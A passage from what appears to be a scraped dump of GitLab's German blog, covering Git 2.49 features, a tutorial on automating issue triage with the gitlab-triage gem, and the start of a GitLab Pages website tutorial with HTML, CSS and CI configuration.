Promisor Remote.\n\n\nGit 2.49 ermöglicht es dem Server, die Informationen des Promisor Remote an den Client weiterzugeben. Diese Änderung ist eine Erweiterung von [`gitprotocol-v2`](https://git-scm.com/docs/gitprotocol-v2). Während der Server und der Client Daten hin und her übertragen, kann der Server Namen und URLs der Promisor Remotes senden, die er kennt.\n\n\nDerzeit verwendet der Client die Promisor-Remote-Infos, die er vom Server während des Klonens erhält, nicht, sodass weiterhin alle Objekte vom Remote zu dem Klon übermittelt werden, von dem aus der Vorgang initiiert wurde. Wir planen, diese Funktion weiter zu verbessern, sodass die Promisor-Remote-Info vom Server genutzt werden kann und die Funktion benutzerfreundlicher wird.\n\n\nDieses [Patch-Set](https://lore.kernel.org/git/20250218113204.2847463-1-christian.couder@gmail.com/) wurde von [Christian Couder](https://gitlab.com/chriscool) eingereicht und mit [2c6fd30198](https://gitlab.com/gitlab-org/git/-/commit/2c6fd30198187c928cbf927802556908c381799c) zusammengeführt.\n\n\n## Flacher Klon mit `--revision`\n\n\nDie neue Option `--revision` wurde zu [`git-clone(1)`](https://git-scm.com/docs/git-clone/de) hinzugefügt. Auf diese Weise kannst du einen flachen Klon eines Repository erstellen, der nur den Verlauf der jeweiligen Revision enthält. Die Option ist ähnlich wie `--branch`, akzeptiert aber einen ref-Namen (wie `refs/heads/main`, `refs/tags/v1.0` und `refs/merge-requests/123`) oder eine hexadezimale Commit-Objekt-ID. Der Unterschied zu `--branch` ist, dass kein Tracking-Branch erstellt und `HEAD` abgetrennt wird. Diese Option ist also nicht geeignet, wenn du wieder zu diesem Branch beitragen möchtest.\n\n\nDu kannst `--revision` in Kombination mit `--depth` verwenden, um einen minimalen Klon zu erstellen. Ein vorgeschlagener Anwendungsfall ist das automatisierte Testen. Wenn du ein CI-System hast, bei dem ein Branch (oder eine beliebige Referenz) ausgecheckt werden muss, um autonome Tests am Quellcode durchzuführen, brauchst du nur einen minimalen Klon.\n\n\nDiese [Änderung](https://gitlab.com/gitlab-org/git/-/commit/5785d9143bcb3ef19452a83bc2e870ff3d5ed95a) wurde von [Toon Claes](https://gitlab.com/toon) [vorangetrieben](https://lore.kernel.org/git/20250206-toon-clone-refs-v7-0-4622b7392202@iotcl.com/).\n\n\n# Mehr erfahren\n\n- [Was gibt es Neues in Git 2.48.0?](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-48-0/)\n\n- [Was gibt es Neues neu in Git 2.47.0?](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-47-0/)\n\n- [Was gibt es Neues in Git 2.46.0?](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-46-0/)\n",[1932],"Toon Claes","2025-03-14","Was gibt es Neues in Git 2.49.0?",[270,913,849],{"slug":1937,"featured":92,"template":682},"whats-new-in-git-2-49-0","content:de-de:blog:whats-new-in-git-2-49-0.yml","Whats New In Git 2 49 0","de-de/blog/whats-new-in-git-2-49-0.yml","de-de/blog/whats-new-in-git-2-49-0",{"_path":1943,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1944,"content":1949,"config":1954,"_id":1956,"_type":16,"title":1957,"_source":17,"_file":1958,"_stem":1959,"_extension":20},"/de-de/blog/automating-agile-workflows-with-the-gitlab-triage-gem",{"title":1945,"description":1946,"ogTitle":1945,"ogDescription":1946,"noIndex":6,"ogImage":1525,"ogUrl":1947,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1947,"schema":1948},"Automatisiere Agile-Workflows mit dem gem gitlab-triage","In unserer Serie „Erste Schritte mit GitLab“ erfährst du, wie du wiederkehrende Aufgaben – zum Beispiel die Triage von Tickets und Merge Requests – automatisierst und deinen Entwickler(inne)n dadurch wertvolle Zeit sparst.","https://about.gitlab.com/blog/automating-agile-workflows-with-the-gitlab-triage-gem","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automatisiere Agile-Workflows mit dem gem gitlab-triage\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-03-13\",\n      }",{"title":1945,"description":1946,"authors":1950,"heroImage":1525,"date":1951,"body":1952,"category":680,"tags":1953,"updatedDate":1915},[826],"2025-03-13","*Willkommen zu unserer Serie „Erste Schritte mit GitLab“, in der wir Einsteiger(inne)n helfen, die GitLabs DevSecOps-Plattform kennenzulernen.*\n\nIn diesem Beitrag geht es um das gem [`gitlab-triage`](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage), ein leistungsstarkes Tool, mit dem du Bots erstellen kannst, um deinen Agile-Workflow zu automatisieren.\n\n## Warum solltest du deinen Workflow automatisieren?\n\nEffizienz ist in der Softwareentwicklung ausschlaggebend. Indem du wiederkehrende Aufgaben wie die Triage von Tickets und Merge Requests automatisierst, schaffst du wertvolle Zeit für dein Team, in der es sich auf das Wichtigste konzentrieren kann: tolle Software zu entwickeln.\n\nMit `gitlab-triage` kannst du Folgendes tun:\n\n* **Konsistenz sicherstellen:** Wende Labels an und weise Tickets automatisch anhand vordefinierter Regeln zu.\n* **Reaktionszeit verbessern:** Erhalte sofortiges Feedback zu neuen Tickets und Merge Requests.\n* **Manuellen Aufwand reduzieren:** Mache manuelle Triage und Updates überflüssig.\n* **Produktivität steigern:** Entlaste dein Team, damit es sich auf das Programmieren und auf Innovationen konzentrieren kann.\n\n## Wir stellen vor: das gem `gitlab-triage`\n\nDas gem `gitlab-triage` ist eine Ruby-Bibliothek, mit der du Bots erstellen kannst, die mit deinen GitLab-Projekten interagieren. Diese Bots können automatisch verschiedenste Aktionen durchführen, darunter:\n\n* **Labels zuweisen:** Kategorisiere Tickets und Merge Requests automatisch.\n* **Kommentare verfassen:** Gib Neuheiten bekannt, fordere Informationen an oder hinterlasse Feedback.\n* **Aufgaben zuweisen:** Weise Tickets und Merge Request dem passenden Teammitglied zu.\n* **Abschließen:** Schließe veraltete oder gelöste Tickets und Merge Requests.\n* **Tickets erstellen:** Erstelle neue Tickets basierend auf bestimmten Ereignissen oder Bedingungen.\n* **Und vieles mehr!**\n\nSieh dir das [gem-Repository `gitlab-triage`](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage) an.\n\n## Einrichtung deines Triage-Bots\n\nRichten wir jetzt deinen ersten Triage-Bot ein und bringen ihn zum Laufen.\n\n1. Installiere das gem. (Hinweis: Der Befehl gem ist verfügbar, wenn die Programmiersprache Ruby installiert ist.)\n\n```bash\ngem install gitlab-triage\n```\n\n2. Rufe dein GitLab-API-Token ab.\n\n* Gehe zu deinen GitLab-[Profileinstellungen](https://gitlab.com/-/profile/preferences).  \n* Gehe zu **Zugriffstoken**.\n* Erstelle ein neues Token mit dem Geltungsbereich `api`.\n* **Bewahre dein Token sicher auf und lege ein Ablaufdatum dafür fest, sodass es abläuft, wenn du diese Anleitung abgeschlossen hast.**\n\n3. Definiere deine Triage-Richtlinien.\n\nErstelle im Root-Verzeichnis deines Projekts eine Datei mit dem Namen `.triage-policies.yml`. Diese Datei enthält die Regeln, die das Verhalten deines Bots steuern. Hier ist ein einfaches Beispiel:\n\n```yaml\n\n---\n- name: \"Apply 'WIP' label\"\n  condition:\n    draft: true\n  action:\n    labels:\n      - status::wip\n\n- name: \"Request more information on old issue\"\n  condition:\n   date:\n    attribute: updated_at\n    condition: older_than\n    interval_type: months\n    interval: 12\n  action:\n    comment: |\n      {{author}} This issue has been open for more than 12 months, is this still an issue?\n```\n\nDiese Konfiguration definiert zwei Richtlinien:\n\n* Mit der ersten Richtlinie wird das Label `status::wip` allen Tickets zugewiesen, die im Entwurfsstatus sind.\n* Mit der zweiten Richtlinie wird ein Kommentar zu einem Ticket hinzugefügt, in dem angemerkt wird, dass das Ticket in den letzten 12 Monaten nicht aktualisiert wurde.\n\n4. Führe deinen Bot aus.\n\nDu kannst deinen Bot manuell mit dem folgenden Befehl ausführen:\n\n```bash\ngitlab-triage -t \u003Cyour_api_token> -p \u003Cyour_project_id>\n```\n\nErsetze `\u003Cyour_api_token>` mit deinem GitLab-API-Token und `\u003Cyour_project_id>` mit der [ID deines GitLab-Projekts](https://docs.gitlab.com/user/project/working_with_projects/#access-a-project-by-using-the-project-id). Wenn du sehen möchtest, welche Auswirkungen die Aktionen haben, bevor sie tatsächlich ausgeführt hast, kannst du `-n` oder `--dry-run` hinzufügen, um die Richtlinien erst einmal zu testen.\n\n## Automatisierung mit GitLab CI/CD\n\nUm die Ausführung deines Triage-Bots zu automatisieren, integrierst du ihn in [GitLab CI/CD (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation/). Hier ist ein Beispiel für eine `.gitlab-ci.yml`-Konfiguration:\n\n```yaml\n\ntriage:\n  script:\n    - gem install gitlab-triage\n    - gitlab-triage -t $GITLAB_TOKEN -p $CI_PROJECT_ID\n  only:\n    - schedules\n```\n\nDiese Konfiguration definiert einen Job mit dem Namen „Triage“, der das gem `gitlab-triage` installiert und den Bot mit dem `$GITLAB_TOKEN` (eine vordefinierte [CI/CD-Variable](https://docs.gitlab.com/ci/variables/); Dokumentation nur in englischer Sprache verfügbar) und der Variable `$CI_PROJECT_ID` ausführt. Die Klausel `only: schedules` stellt sicher, dass der Auftrag nur nach einem Zeitplan ausgeführt wird.\n\nUm einen [Zeitplan (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) zu erstellen, gehe zu den **CI/CD-Einstellungen** des Projekts und dann zu **Zeitpläne**. Erstelle einen neuen Zeitplan und lege fest, wie häufig dein Bot ausgeführt werden soll (z. B. täglich, stündlich, usw.).\n\n## Erweiterte Triage-Richtlinien\n\n`gitlab-triage` bietet eine Reihe von erweiterten Funktionen, mit denen du ausgefeiltere Triage-Richtlinien erstellen kannst:\n\n* **Reguläre Ausdrücke:** Verwende reguläre Ausdrücke für einen leistungsstarken Musterabgleich.\n* **Zusammenfassungsrichtlinien:** Konsolidiere ähnliche Tickets in ein Übersichtsticket.\n* **Benutzerdefinierte Aktionen:** Definiere mit [Ruby-Codeblöcken](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage#can-i-customize) benutzerdefinierte Aktionen, um komplexere Abläufe über die GitLab-API auszuführen.\n\nHier sind zwei umfassendere Praxisbeispiele aus dem Triage-Bot, der vom Developer Advocacy Team bei GitLab verwendet wird. Die vollständigen Richtlinien findest du in [dieser Datei](https://gitlab.com/gitlab-da/projects/devrel-bot/-/blob/master/.triage-policies.yml?ref_type=heads).\n\n```yaml\n- name: Issues where DA team member is an assignee outside DA-Meta project i.e. DevRel-Influenced\n  conditions:\n    assignee_member:\n      source: group\n      condition: member_of\n      source_id: 1008\n    state: opened\n    ruby: get_project_id != 18 \n    forbidden_labels:\n      - developer-advocacy\n  actions:   \n    labels:\n      - developer-advocacy\n      - DevRel-Influenced\n      - DA-Bot::Skip\n```\n\nDieses Beispiel zeigt Tickets in einer Gruppe. Dabei werden diejenigen ausgeschlossen, die sich im Projekt mit der ID 18 befinden und die Beauftragte haben, die Mitglieder der Gruppe mit der ID 1008 sind und nicht das Label `developer-advocacy` aufweisen. Mit dieser Richtlinie kann das Developer Advocacy Team bei GitLab Tickets finden, die Mitgliedern des Teams zugewiesen sind, aber nicht im Projekt des Teams enthalten sind. Indem die Labels der Teams hinzugefügt werden, kann das Team Beiträge identifizieren und nachverfolgen, die von Personen außerhalb des Teams gemacht wurden.\n\n```\n- name: Missing Due Dates\n  conditions:\n    ruby: missing_due_date\n    state: opened\n    labels:\n      - developer-advocacy\n    forbidden_labels:\n      - DA-Due::N/A\n      - DA-Bot::Skip\n      - DA-Status::FYI\n      - DA-Status::OnHold\n      - CFP\n      - DA-Bot::Triage\n  actions:\n    labels:\n      - DA-Bot-Auto-Due-Date\n    comment: |\n      /due #{get_current_quarter_last_date}\n```\n\nDer Bot in diesem zweiten Beispiel sucht nach allen Tickets mit dem Label `developer-advocacy`, die keine Labels aus der Liste der verbotenen Labes enthalten und deren Fälligkeitsdatum überschritten wurde. Er aktualisiert die Fälligkeitstermine automatisch, indem er dem Ticket mit einem Slash-Befehl und einem Datum, das über Ruby generiert wird, einen Kommentar hinzufügt.\n\nDie in den Richtlinien verwendeten Ruby-Skripte werden in einer separaten Datei definiert, wie unten gezeigt. Mit dieser Funktion kannst du flexibel mit Filtern und Aktionen arbeiten. Du siehst, dass Funktionen für verschiedene Ruby-Befehle erstellt werden, die wir in unseren Richtlinien verwendet haben.\n\n```\nrequire 'json'\nrequire 'date'\nrequire \"faraday\"\nrequire 'dotenv/load'\n\nmodule DATriagePlugin\n  def last_comment_at\n    conn = Faraday.new(\n      url: notes_url+\"?sort=desc&order_by=created_at&pagination=keyset&per_page=1\",\n      headers: {'PRIVATE-TOKEN' => ENV.fetch(\"PRIV_KEY\"), 'Content-Type' => 'application/json' }\n    )\n\n    response = conn.get()\n    if response.status == 200\n      jsonData = JSON.parse(response.body)\n      if jsonData.length > 0\n        Date.parse(jsonData[0]['created_at'])\n      else\n        Date.parse(resource[:created_at])\n      end\n    else\n      Date.parse(resource[:created_at])\n    end\n  end\n\n  def notes_url\n    resource[:_links][:notes]\n  end\n\n  def get_project_id\n    resource[:project_id]\n  end\n\n  def get_current_quarter_last_date()\n    yr = Time.now.year\n    case Time.now.month\n    when 2..4\n      lm = 4\n    when 5..7\n      lm = 7\n    when 8..10\n      lm = 10\n    when 11..12\n      lm = 1\n      yr = yr + 1\n    else\n      lm = 1    \n    end\n\n    return Date.new(yr, lm, -1) \n  end\n\n  def one_week_to_due_date\n    if(resource[:due_date] == nil)\n      false\n    else\n      days_to_due = (Date.parse(resource[:due_date]) - Date.today).to_i\n      if(days_to_due > 0 && days_to_due \u003C 7)\n        true\n      else\n        false\n      end\n    end\n  end\n\n  def due_date_past\n    if(resource[:due_date] == nil)\n      false\n    else\n      Date.today > Date.parse(resource[:due_date])\n    end\n  end\n\n  def missing_due_date\n    if(resource[:due_date] == nil)\n      true\n    else\n      false\n    end\n  end\n\nend\n\nGitlab::Triage::Resource::Context.include DATriagePlugin\n\n```\nDer Triage-Bot wird mit folgendem Befehl ausgeführt:\n\n``` \n`gitlab-triage -r ./triage_bot/issue_triage_plugin.rb --debug --token $PRIV_KEY --source-id gitlab-com --source groups`  \n```\n\n- `-r`: Übergibt eine Datei mit Anforderungen für die Ausführung der Triage. In diesem Fall übergeben wir unsere Ruby-Funktionen.  \n- `--debug`: Fügt der Ausgabe Debugging-Informationen hinzu.  \n- `--token`: Wird verwendet, um ein gültiges GitLab-API-Token zu übergeben.  \n- `--source`: Gibt an, ob die Quellen des Tickets, die durchsucht werden, in einer Gruppe oder einem Projekt liegen.\n- `--source-id`: Übernimmt die ID des ausgewählten Quelltyps – in diesem Fall eine Gruppe.\n\nDas GitLab-Projekt [triage-ops](https://gitlab.com/gitlab-org/quality/triage-ops) ist ein weiteres Praxisbeispiel, das etwas komplexer ist und bei dem du lernen kannst, deinen eigenen Triage-Bot zu erstellen.\n\n## Best Practices\n\n* **Beginne einfach:** Beginne mit grundlegenden Richtlinien und erhöhe die Komplexität schrittweise nach Bedarf. \n* **Teste gründlich:** Teste deine Richtlinien in einer Staging-Umgebung, bevor du sie in der Produktion bereitstellst.  \n* **Überwache regelmäßig:** Überwache die Aktivität deines Bots, um sicherzustellen, dass er sich wie erwartet verhält.\n* **Verwende beschreibende Namen:** Gib deinen Richtlinien klare und beschreibende Namen, damit sie einfach gepflegt werden können. \n* **Achte auf den Umfang deiner Filter:** Vielleicht kommst du in Versuchung, Tickets über Gruppen hinweg zu filtern, die Tausende von Tickets enthalten. Dies kann jedoch die Triage verlangsamen und der Prozess kann aufgrund von Ratenbeschränkungen für die GitLab-API auch fehlschlagen.  \n* **Priorisiere die Verwendung von Labels für die Triage:** Um unnötige Benachrichtigungen an andere Benuzter(innen) zu vermeiden, sind Labels eine tolle Möglichkeit, eine Triage durchzuführen, ohne Kommentare und Tickets zu überladen.\n\n## Übernimm die Kontrolle über deinen Workflow\n\nMit dem gem `gitlab-triage` kannst du deinen GitLab-Workflow automatisieren und eine ganz neue Effizienz ermöglichen. Erstelle zunächst einen einfachen Traige-Bot und lerne dann nach und nach die fortschrittlicheren Funktionen kennen. Du wirst erstaunt sein, wie viel Zeit und Aufwand du einsparen kannst\\!\n\n## Serie: Erste Schritte mit GitLab\n\nWeitere Artikel in unserer Serie „Erste Schritte mit GitLab“:\n\n- [Benutzerverwaltung](https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-how-to-manage-users/)\n\n- [Projekte in GitLab importieren (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)  \n- [Projektmanagement](https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-mastering-project-management/)\n",[746,767,680,973,110],{"slug":1955,"featured":6,"template":682},"automating-agile-workflows-with-the-gitlab-triage-gem","content:de-de:blog:automating-agile-workflows-with-the-gitlab-triage-gem.yml","Automating Agile Workflows With The Gitlab Triage Gem","de-de/blog/automating-agile-workflows-with-the-gitlab-triage-gem.yml","de-de/blog/automating-agile-workflows-with-the-gitlab-triage-gem",{"_path":1961,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1962,"content":1968,"config":1974,"_id":1976,"_type":16,"title":1977,"_source":17,"_file":1978,"_stem":1979,"_extension":20},"/de-de/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages",{"title":1963,"description":1964,"ogTitle":1963,"ogDescription":1964,"noIndex":6,"ogImage":1965,"ogUrl":1966,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1966,"schema":1967},"Erstelle eine neue Website in wenigen einfachen Schritten mit GitLab Pages ","In diesem Tutorial erfährst du, wie du deine persönliche Website mithilfe von GitLab Pages und einer einsatzbereiten Vorlage, die du in wenigen Minuten anpassen kannst, erstellst und hostest.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097716/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_7c3TDgNgct9xQbmTJSw0de_1750097716096.png","https://about.gitlab.com/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Erstelle eine neue Website in wenigen einfachen Schritten mit GitLab Pages \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alex Fracazo\"}],\n        \"datePublished\": \"2025-03-03\",\n      }\n                  ",{"title":1963,"description":1964,"authors":1969,"heroImage":1965,"date":1970,"body":1971,"category":680,"tags":1972,"updatedDate":1973},[969],"2025-03-03","Eine persönliche Website ist mehr als nur ein Arbeitsmittel für digitale Kreative und Technologieexpert(inn)en. Sie repräsentiert deine Marke. Aber eine Website von Grund auf neu zu erstellen, kann zeitaufwendig und teuer sein.\n\nMit [GitLab Pages (Dokumentation nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/project/pages/) kannst du deine Website mit integrierten Funktionen hosten, einschließlich SSL-Zertifikaten und einer von GitLab bereitgestellten Domain. All dies ist im kostenlosen Tarif von GitLab enthalten und somit eine effiziente Lösung für das Hosting deines professionellen Internetauftritts.\n\nWir nehmen dich mit auf eine unterhaltsame Reise, um mit GitLab Pages eine beeindruckende persönliche Website zu erstellen! Unsere Vorlage ist supereinfach und vielseitig und du kannst sie ganz leicht aufpeppen, damit sie deinen einzigartigen Stil widerspiegelt. Also schnapp dir deinen Lieblingssnack, mach es dir gemütlich und lass uns deine Online-Präsenz in etwas wirklich Fabelhaftes verwandeln!\n\n## Voraussetzungen\n\nBevor du loslegst, musst du die folgenden Voraussetzungen erfüllen:\n\n* Du brauchst ein GitLab-Konto (der [kostenlose Tarif](https://about.gitlab.com/de-de/pricing/) ist ausreichend).  \n* Du solltest mit den Grundlagen von HTML/CSS vertraut sein.  \n* Bereite Inhalte und Bilder vor, die du auf deiner Website verwendet möchtest (optional).\n\nSobald du ein GitLab-Konto eingerichtet hast und deine Inhalte verfügbar sind, kannst du mit den nächsten Schritten fortfahren.\n\n## Schritt 1: Neues Projekt erstellen\n\n1. Melde dich bei deinem GitLab-Konto an und erstelle ein Projekt.\n\n![GitLab-Pages-Tutorial – Begrüßungsbildschirm](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097724/Blog/Content%20Images/Blog/Content%20Images/Capture-2025-02-27-183716_aHR0cHM6_1750097724662.png)\n\n2. Klicke auf **Leeres Projekt erstellen**.\n\n![GitLab-Pages-Tutorial – Bildschirm „Neues Projekt erstellen“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/Capture-2025-02-27-183814_aHR0cHM6_1750097724663.png)\n\n3. Gib deine Projektdetails ein:\n    * Nenne dein Projekt `deinbenutzername.gitlab.io`. Ersetze `deinbenutzername` durch deinen GitLab-Benutzernamen. **Tipp:** Der Projektname legt die URL deiner Website fest. Wenn du dein Projekt `deinbenutzername.gitlab.io` nennst, wird deine Website unter `https://deinbenutzername.gitlab.io` ohne zusätzlichen Pfad verfügbar sein. Wenn du jedoch einen anderen Projektnamen verwendest, wird deine Website unter `https://deinbenutzername.gitlab.io/project-name` verfügbar sein.\n    * Veröffentliche das Projekt.\n4. Klicke auf **Projekt erstellen **.\n\n![GitLab-Pages-Tutorial – Bildschirm „Leeres Projekt erstellen“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097724666.png)\n\n![GitLab-Pages-Tutorial – angepasste Einstiegsseite](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097724668.png)\n\n## Schritt 2: Vorlagendateien hinzufügen\n\nErstelle zunächst zwei neue Dateien in deinem Repository:\n\n![GitLab-Pages-Tutorial – Hinzufügen neuer Dateien zur persönlichen Seite](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image13_aHR0cHM6_1750097724669.png)\n\n1. Erstelle zuerst `index.html`:\n    * Klicke in deinem Projekt auf die Schaltfläche **+** und wähle **Neue Datei** aus.\n    * Nenne die Datei `index.html`.\n![GitLab-Pages-Tutorial – Seite „Neue Datei“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image14_aHR0cHM6_1750097724671.png)\n    * Füge deinen HTML-Inhalt hinzu.\n        * Verwende das unten angegebene HTML-Beispiel. (Profi-Tipp: Bitte GitLab Duo Chat, HTML-Code für erweiterte Funktionen zu generieren.)\n\n```    \n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\"/>\n    \u003Ctitle>[Dein Name] - [Dein Titel]\u003C/title>\n    \u003Cmeta name=\"description\" content=\"[Your Name] is a [Your Title].\"/>\n    \u003Cmeta name=\"author\" content=\"[Your Name]\"/>\n    \u003Cmeta property=\"og:title\" content=\"[Your Name]\" />\n    \u003Cmeta property=\"og:description\" content=\"[Your Title]\" />\n    \u003Cmeta property=\"og:image\" content=\"og.png\" />\n    \u003Cmeta name=\"viewport\" content=\"width=device-width,initial-scale=1\"/>\n    \u003Clink href=\"https://unpkg.com/basscss@8.0.2/css/basscss.min.css\" rel=\"stylesheet\">\n    \u003Clink href=\"style.css\" rel=\"stylesheet\">\n    \u003Clink rel=\"shortcut icon\" type=\"image/png\" href=\"favicon.png\"/>\n\u003C/head>\n\u003Cbody>\n\u003Cdiv class=\"content\" id=\"content\">\n  \u003Cdiv class=\"p2 sm-p4 mt2 sm-mt4 mb2 sm-mb4\">  \n  \u003Cdiv class=\"fade mt3\">\n    \u003Ca target=\"_new\" href=\"[Your Linkedin URL]\">\n      \u003Cimg class=\"photo\" src=\"profile.png\" width=\"64\" height=\"64\">\n    \u003C/a>\n  \u003C/div>\n  \u003Ch2 class=\"mb0 mt4 fade\">\n    Hallo, ich bin [Dein Name]  \n    \u003Cspan class=\"smallcaps\">(\u003C/span>\n    \u003Ca target=\"_new\" href=\"[Your Linkedin URL]\">@[Dein Handle]\u003C/a>\n    \u003Cspan class=\"smallcaps\">)\u003C/span>\n  \u003C/h2>\n  \u003Ch2 class=\"mt0 mb4 fade gray\">\n    Ich bin [Dein Titel]\n  \u003C/h2>\n  \u003Cp class=\"mb4 fade\">\n    Ich bin [Deine Rolle] bei [Dein Unternehmen], [Kurze Unternehmensbeschreibung].\n  \u003C/p>\n  \u003Cdiv class=\"fade\">\n    \u003Cp class=\"fade mb4\">\n      Dein persönliches Statement, was du tust und woran du interessiert bist. Füge hier deine Kontaktmöglichkeiten hinzu.\n    \u003C/p>\n  \u003C/div>\n  \u003Cp class=\"fade mb4\">\n    \u003Cspan class=\"gray\">—\u003C/span> \n    [Dein Name] \n    \u003Cspan class=\"smallcaps>(\u003C/span>\n    \u003Ca target=\"_new\" href=\"[Your Linkedin URL]\">@[Dein Handle]\u003C/a>\n    \u003Cspan class=\"smallcaps\">)\u003C/span>\n  \u003C/p>\n  \u003C/div>\n\u003C/div>\n\u003C/body>\n\u003C/html> \n```\n\n* Füge eine Commit-Nachricht hinzu (z. B. „Added index.html“).\n  * Klicke auf **Änderungen committen**.\n\n2. Erstelle `style.css` (die Vorgehensweise ist die gleiche wie oben).\n\n```\nbody {\n  margin: 0;\n  padding: 0;\n  background: #000;\n  color: #f4f4f4;\n  font-family: \"Graphik Web\", system-ui, -apple-system, BlinkMacSystemFont, \"Helvetica Neue\", \"Helvetica\", \"Segoe UI\", Roboto, Ubuntu, sans-serif;\n  font-weight: 400;\n  font-smooth: antialiased;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n\na {\n  color: #ff310a;\n  text-decoration: none;\n}\n\na:hover {\n  color: #CFEF54\n}\n\n.content {\n  max-width: 40rem;\n  margin: 0 auto;\n}\n\nimg.photo {\n  border-radius: 50%;\n}\n\np {\n  font-size: 1.5rem;\n  line-height: 1.4;\n  margin: 0;\n  letter-spacing: -0.05rem;\n}\n\nh2 {\n  font-weight: 400;\n  line-height: 1.3;\n  letter-spacing: -0.05rem;\n}\n\n.smallcaps {\n  font-variant: small-caps;\n  color:#333;\n}\n\n.gray{\n  color: #999;\n}\n\n.preloader {\n  display: flex;\n  justify-content: center;\n  align-items: center;\n  height: 100vh;\n  height: -moz-available;\n  height: -webkit-fill-available;\n  height: fill-available;\n  width: 100%;\n  background: #000;\n  position: fixed;\n  top: 0;\n  left: 0;\n  z-index: 9999;\n  transition: opacity 0.3s linear;\n  transform: translate3d(0, 0, 0);\n}\n\nbody.loaded .preloader {\n  opacity: 0;\n}\n\n.fade {\n  animation: fadeIn 1s ease-in-out both;\n}\n\n.fade:nth-child(2) {\n  animation-delay: 1s;\n}\n\n.fade:nth-child(3) {\n  animation-delay: 2s;\n}\n\n.fade:nth-child(4) {\n  animation-delay: 3s;\n}\n\n.fade:nth-child(5) {\n  animation-delay: 4s;\n}\n\n.fade:nth-child(6) {\n  animation-delay: 5s;\n}\n\n.fade:nth-child(7) {\n  animation-delay: 6s;\n}\n\n.fade:nth-child(8) {\n  animation-delay: 7s;\n}\n\n.fade:nth-child(9) {\n  animation-delay: 8s;\n}\n\n.fade:nth-child(10) {\n  animation-delay: 9s;\n}\n\n.fade:nth-child(11) {\n  animation-delay: 10s;\n}\n\n.fade:nth-child(12) {\n  animation-delay: 11s;\n}\n\n.fade:nth-child(13) {\n  animation-delay: 12s;\n}\n\n@keyframes fadeIn {\n  from {\n    opacity: 0;\n    transform: translate3d(0, 0%, 0);\n  }\n  to {\n    opacity: 1;\n    transform: translate3d(0, 0, 0);\n  }\n} \n\n```\n\n## Schritt 3: GitLab-CI-Datei konfigurieren\n\nEs gibt zwei Möglichkeiten, die GitLab-CI-Konfigurationsdatei zu erstellen, die GitLab mitteilt, wie deine Website erstellt und bereitgestellt werden soll:\n\n![GitLab-Pages-Tutorial – Bildschirm zur Optimierung deines Workflows mit CI/CD-Pipelines](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097724672.png)\n\n**Option 1: Verwende den Pipeline-Editor (empfohlen)**\n\n1. Gehe in deinem Projekt zu **Build > Pipeline-Editor**.\n\n![GitLab-Pages-Tutorial – Pipeline-Editor/main-Branch](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image12_aHR0cHM6_1750097724673.png)\n\n2. Die Datei `.gitlab-ci.yml` wird automatisch erstellt. \n3. Kopiere die folgende Konfiguration und füge sie ein:\n\n```\npages:\n  stage: deploy\n  script:\n    - mkdir .public\n    - cp -r * .public\n    - mv .public public\n  artifacts:\n    paths:\n      - public\n  only:\n    - main\n```\n\n![GitLab-Pages-Tutorial – Neue Datei im Fenster](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097724674.png)\n\n**Option 2: Manuelle Erstellung**\n\nWenn du die Datei lieber manuell erstellen möchtest: \n1. Erstelle eine neue Datei mit dem Namen `.gitlab-ci.yml`. \n2. Füge die folgende Konfiguration ein:\n\n```\npages:\n  stage: deploy\n  script:\n    - mkdir .public\n    - cp -r * .public\n    - mv .public public\n  artifacts:\n    paths:\n      - public\n  only:\n    - main\n```\n\nDie GitLab-CI-Konfigurationsdatei ist der Schlüssel, um deine Website zum Laufen zu bringen. Diese Datei weist GitLab an, wie es deine Website erstellen und bereitstellen soll.\n\nSehen wir uns an, was jeder Teil macht:\n\n**Das script-Teil**\n\n```\nscript:\n  - mkdir .public\n  - cp -r * .public\n  - mv .public public\n```\n\nDieses Skript erstellt einen Ordner mit 